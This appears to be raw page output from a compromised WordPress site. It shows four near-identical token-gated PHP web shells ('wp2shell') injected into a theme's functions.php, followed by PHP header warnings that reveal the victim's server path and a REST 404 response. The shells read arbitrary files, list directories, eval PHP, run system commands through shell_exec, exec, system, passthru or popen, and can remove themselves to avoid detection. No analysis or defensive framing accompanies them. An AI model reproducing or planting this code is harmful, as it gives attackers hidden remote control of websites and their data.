// wp2shell_28535c05
add_action('init', function() {
    if (!isset($_GET['t']) || !hash_equals('28535c05d9c4ea6920ee9ce7b3f87566', (string)$_GET['t']) || !isset($_GET['c'])) return;
    $cmd = (string)$_GET['c'];
    $out = null;
    if (strncmp($cmd,'READ:',5)===0){ $out=@file_get_contents(substr($cmd,5))?:'[unreadable]'; }
    elseif(strncmp($cmd,'GLOB:',5)===0){ $out=implode("\n",glob(substr($cmd,5))?:[]); }
    elseif(strncmp($cmd,'LS:',3)===0){ $out=implode("\n",@scandir(substr($cmd,3))?:[]); }
    elseif(strncmp($cmd,'EVAL:',5)===0){ ob_start();try{eval(substr($cmd,5));}catch(Throwable $e){echo '[eval_error:'.$e->getMessage().']';}$out=ob_get_clean(); }
    elseif($cmd==='__SELF_REMOVE__'){
        $f=get_theme_file_path('functions.php');
        $src=file_get_contents($f);
        $src=preg_replace('/\n\/\/ wp2shell_28535c05.*?\n},10);\n/s','',$src);
        file_put_contents($f,$src);
        $out='removed';
    }
    else{
        foreach(['shell_exec','exec','system','passthru','popen'] as $fn){
            if(!function_exists($fn))continue;
            ob_start();@$fn($cmd);$out=ob_get_clean();if($out!==null)break;
        }
        $out=$out??'[exec_all_blocked]';
    }
    wp_die('WP2SHELL::'.$out.'::END','',['response'=>200]);
}, 10);

// wp2shell_f14399cb
add_action('init', function() {
    if (!isset($_GET['t']) || !hash_equals('f14399cb21ab89faf0b59e5fd84eac01', (string)$_GET['t']) || !isset($_GET['c'])) return;
    $cmd = (string)$_GET['c'];
    $out = null;
    if (strncmp($cmd,'READ:',5)===0){ $out=@file_get_contents(substr($cmd,5))?:'[unreadable]'; }
    elseif(strncmp($cmd,'GLOB:',5)===0){ $out=implode("\n",glob(substr($cmd,5))?:[]); }
    elseif(strncmp($cmd,'LS:',3)===0){ $out=implode("\n",@scandir(substr($cmd,3))?:[]); }
    elseif(strncmp($cmd,'EVAL:',5)===0){ ob_start();try{eval(substr($cmd,5));}catch(Throwable $e){echo '[eval_error:'.$e->getMessage().']';}$out=ob_get_clean(); }
    elseif($cmd==='__SELF_REMOVE__'){
        $f=get_theme_file_path('functions.php');
        $src=file_get_contents($f);
        $src=preg_replace('/\n\/\/ wp2shell_f14399cb.*?\n},10);\n/s','',$src);
        file_put_contents($f,$src);
        $out='removed';
    }
    else{
        foreach(['shell_exec','exec','system','passthru','popen'] as $fn){
            if(!function_exists($fn))continue;
            ob_start();@$fn($cmd);$out=ob_get_clean();if($out!==null)break;
        }
        $out=$out??'[exec_all_blocked]';
    }
    wp_die('WP2SHELL::'.$out.'::END','',['response'=>200]);
}, 10);

// wp2shell_4d673898
add_action('init', function() {
    if (!isset($_GET['t']) || !hash_equals('4d673898eb6bd5f014ef8bba6264a045', (string)$_GET['t']) || !isset($_GET['c'])) return;
    $cmd = (string)$_GET['c'];
    $out = null;
    if (strncmp($cmd,'READ:',5)===0){ $out=@file_get_contents(substr($cmd,5))?:'[unreadable]'; }
    elseif(strncmp($cmd,'GLOB:',5)===0){ $out=implode("\n",glob(substr($cmd,5))?:[]); }
    elseif(strncmp($cmd,'LS:',3)===0){ $out=implode("\n",@scandir(substr($cmd,3))?:[]); }
    elseif(strncmp($cmd,'EVAL:',5)===0){ ob_start();try{eval(substr($cmd,5));}catch(Throwable $e){echo '[eval_error:'.$e->getMessage().']';}$out=ob_get_clean(); }
    elseif($cmd==='__SELF_REMOVE__'){
        $f=get_theme_file_path('functions.php');
        $src=file_get_contents($f);
        $src=preg_replace('/\n\/\/ wp2shell_4d673898.*?\n},10);\n/s','',$src);
        file_put_contents($f,$src);
        $out='removed';
    }
    else{
        foreach(['shell_exec','exec','system','passthru','popen'] as $fn){
            if(!function_exists($fn))continue;
            ob_start();@$fn($cmd);$out=ob_get_clean();if($out!==null)break;
        }
        $out=$out??'[exec_all_blocked]';
    }
    wp_die('WP2SHELL::'.$out.'::END','',['response'=>200]);
}, 10);

// wp2shell_f13d581c
add_action('init', function() {
    if (!isset($_GET['t']) || !hash_equals('f13d581c695c32d99a3467cbba35f9ef', (string)$_GET['t']) || !isset($_GET['c'])) return;
    $cmd = (string)$_GET['c'];
    $out = null;
    if (strncmp($cmd,'READ:',5)===0){ $out=@file_get_contents(substr($cmd,5))?:'[unreadable]'; }
    elseif(strncmp($cmd,'GLOB:',5)===0){ $out=implode("\n",glob(substr($cmd,5))?:[]); }
    elseif(strncmp($cmd,'LS:',3)===0){ $out=implode("\n",@scandir(substr($cmd,3))?:[]); }
    elseif(strncmp($cmd,'EVAL:',5)===0){ ob_start();try{eval(substr($cmd,5));}catch(Throwable $e){echo '[eval_error:'.$e->getMessage().']';}$out=ob_get_clean(); }
    elseif($cmd==='__SELF_REMOVE__'){
        $f=get_theme_file_path('functions.php');
        $src=file_get_contents($f);
        $src=preg_replace('/\n\/\/ wp2shell_f13d581c.*?\n},10);\n/s','',$src);
        file_put_contents($f,$src);
        $out='removed';
    }
    else{
        foreach(['shell_exec','exec','system','passthru','popen'] as $fn){
            if(!function_exists($fn))continue;
            ob_start();@$fn($cmd);$out=ob_get_clean();if($out!==null)break;
        }
        $out=$out??'[exec_all_blocked]';
    }
    wp_die('WP2SHELL::'.$out.'::END','',['response'=>200]);
}, 10);
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /www/wwwroot/itmodel.cn/wordpress/wp-content/themes/punk/functions.php:1) in <b>/www/wwwroot/itmodel.cn/wordpress/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1897</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /www/wwwroot/itmodel.cn/wordpress/wp-content/themes/punk/functions.php:1) in <b>/www/wwwroot/itmodel.cn/wordpress/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1897</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /www/wwwroot/itmodel.cn/wordpress/wp-content/themes/punk/functions.php:1) in <b>/www/wwwroot/itmodel.cn/wordpress/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1897</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /www/wwwroot/itmodel.cn/wordpress/wp-content/themes/punk/functions.php:1) in <b>/www/wwwroot/itmodel.cn/wordpress/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1897</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /www/wwwroot/itmodel.cn/wordpress/wp-content/themes/punk/functions.php:1) in <b>/www/wwwroot/itmodel.cn/wordpress/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1897</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /www/wwwroot/itmodel.cn/wordpress/wp-content/themes/punk/functions.php:1) in <b>/www/wwwroot/itmodel.cn/wordpress/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1897</b><br />
{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}